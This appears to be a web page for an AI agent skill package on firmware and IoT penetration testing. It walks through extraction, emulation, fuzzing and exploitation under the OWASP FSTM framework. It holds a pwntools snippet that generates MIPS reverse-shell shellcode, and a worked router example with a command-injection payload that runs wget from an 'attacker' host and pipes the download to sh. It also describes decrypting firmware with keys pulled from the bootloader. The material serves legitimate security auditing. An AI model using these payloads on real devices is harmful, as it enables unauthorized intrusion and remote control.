Loading...
Loading...
Firmware / IoT Penetration Chain. Starting from a .bin / .img file, complete the closed-loop process of reverse engineering → extraction → emulation → exploitation. The methodology follows the OWASP FSTM 9-stage framework; the toolchain mainly includes binwalk v3, unblob, EMBA, Firmadyne, AFL++. Applicable scenarios: Router/camera/smart home firmware auditing, firmware upgrade package reverse engineering, IoT CVE reproduction, embedded 0day vulnerability discovery. Trigger keywords: firmware, firmware, IoT, binwalk, unblob, UART, JTAG, squashfs, UBI, JFFS2, Firmadyne, QEMU full-system emulation, EMBA, firmware penetration, router firmware, embedded vulnerability exploitation, bootloader, NVRAM, FAT, firmware analysis toolkit.
npx skill4agent add zhaoxuya520/reverse-skill firmware-pentestNOW../field-journal/precedent-pentest.mdNOWNEXT../tool-index.mdNEXTACT| Scenario | What to Use |
|---|---|
| Obtain firmware from scratch and follow FSTM full chain | This skill |
| Only perform static reverse engineering of a single ELF/so | |
| Perform Web/RCE exploitation after emulation | |
| Hardware interface (UART/JTAG/SPI) operation | Stage 2 of this skill + |
| APK / Android firmware (including boot.img) | |
| Cross-version firmware symbol migration | |
Firmware .bin
│
├─ Stage 1-3: Information Gathering / Obtaining / Static Analysis (parts visible without extraction)
│
├─ Stage 4: Extract Filesystem ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ Failure → Find bootloader decryption routine / UART dump / SPI flash hardware reading
│
├─ Stage 5: Static Filesystem Analysis ← EMBA automation + manual grep
│
├─ Stage 6: Emulation ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: Dynamic / Runtime Analysis ← gdb-multiarch, IDA remote debugging, Ghidra
│
└─ Stage 9: Binary Exploitation ← AFL++ fuzz / manual PoC / ARM / MIPS payload/dev/# FCC ID Query (US region devices)
curl -s "https://fccid.io/?q=$FCC_ID"
# Chip Identification Reference Points
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"# Batch download after OTA packet capture
mitmdump -s save_response.py
# UART Access (USB-TTL, common baud rates 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash reading with CH341A + flashrom
flashrom -p ch341a_spi -r dump.binbinwalk firmware.bin # Magic scan
binwalk -E firmware.bin # Entropy graph, high entropy segment = compressed/encrypted
strings -n 8 firmware.bin | less # Banner / kernel version / paths
file firmware.bin
hexdump -C firmware.bin | head -64references/extraction-methodology.mdbinwalk -eM firmware.bin # Recursive extraction
unblob -d out/ firmware.bin # Handle formats that binwalk fails to process
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBIreferences/emba-automated-analysis.mdsudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.embagrep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpdreferences/emulation-and-fuzz.md# User mode: Run a single binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# Full system: FAT (Firmadyne packaged version)
sudo fat.py firmware.bin# GDB remote debugging for MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + Router Web UI
echo "Set the IP emulated by Firmadyne as the Burp upstream proxy target"# AFL++ qemu mode fuzzing for ARM / MIPS binary
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@# Pwntools generate MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"Firmware: router_v1.2.3.bin (unencrypted squashfs)
Target: Find unauthenticated RCE in Web management interface and reproduce it
Step 1 Information Gathering
- FCC ID reverse lookup → MT7621 + MT7615 + 16MB flash
- Disclosed CVE: CVE-2023-xxxxx (chk header verification flaw)
Step 2 Obtain Firmware
- Download .bin from official website, compare sha256 with known samples
Step 3 Analysis
- binwalk → Detects uImage + squashfs-xz
- Entropy graph → squashfs segment entropy ~0.95 (normal compression)
Step 4 Extraction
- binwalk -eM router_v1.2.3.bin
- Get complete root filesystem squashfs-root/
Step 5 EMBA Scan
- High-risk items in report: lighttpd 1.4.45 (CVE-2018-19052) + multiple CVEs in busybox 1.27.2
- In-house binary: /usr/sbin/cgibin contains direct string concatenation with system()
Step 6 Emulation
- sudo fat.py router_v1.2.3.bin
- Emulated IP 192.168.0.1, Web interface accessible
Step 7-8 Dynamic Analysis
- Burp captures /cgi-bin/luci series interfaces
- Discovers hostname parameter directly concatenated into system
Step 9 Exploitation
- Construct hostname=`;wget http://attacker/x;sh x;`
- Successfully gets reverse shell in emulation mode
- Passes real-device retest → Submit to SRCFirmware: encrypted_fw.bin (binwalk shows nothing + entropy ~0.99)
Step 1 Determine if it is truly encrypted
- Entropy ~0.99 across all segments and no magic signatures → Most likely encrypted or purely compressed
- Hexdump first 256 bytes of header → Check for vendor header
Step 2 Obtain Bootloader
- Press key to enter U-Boot during UART boot
- md.b 0x80000000 0x1000 # Read memory
- Or physically read entire SPI flash → Contains U-Boot segment
Step 3 Reverse U-Boot to Find Decryption Routine
- Use reverse-engineering skill (IDA / Ghidra)
- Entry board_init_r → Find image_decrypt before do_bootm
- Usually AES-128-CBC, key hardcoded in .rodata
Step 4 Offline Decryption
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 Return to Stage 4 and Follow Standard Process
- binwalk decrypted.bin → Detects squashfs
- Subsequent steps same as Scenario 1
Backup Plan
- Bootloader also encrypted → Find SoC-level ROM documentation
- SoC has secure boot → Check public fault injection / glitch materials| Tool | Purpose | Auto-Install |
|---|---|---|
| binwalk v3 | Main extraction (Rust rewritten version) | ✓ |
| binwalk v2 | Compatible with old plugins | ✓ |
| unblob | Fallback extraction | ✓ |
| jefferson | JFFS2 extraction | ✓ |
| ubi_reader | UBI / UBIFS extraction | ✓ |
| EMBA | Automated analysis framework | ✓ |
| Firmadyne | Full-system emulation | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne packaging | ✓ |
| qemu-user-static | User-mode emulation | ✓ |
| qemu-system-* | Full-system emulation | ✓ |
| AFL++ | Fuzz testing | ✓ |
| pwntools | Vulnerability exploitation scripts | ✓ |
| flashrom | SPI flash read/write | ✓ |
| picocom | UART serial port | ✓ |
# Debian / Ubuntu one-click installation
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3 (Rust version)
cargo install binwalk
# Python tools
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make installskills/SKILL.mdrouting.mdreverse-engineering/ida-reverse/radare2/pentest-tools/attack-chain/binary-diff/patterns-hardware.mdapk-reverse/pentest-tools/attack-chain/references/extraction-methodology.mdreferences/emba-automated-analysis.mdreferences/emulation-and-fuzz.mdtool-index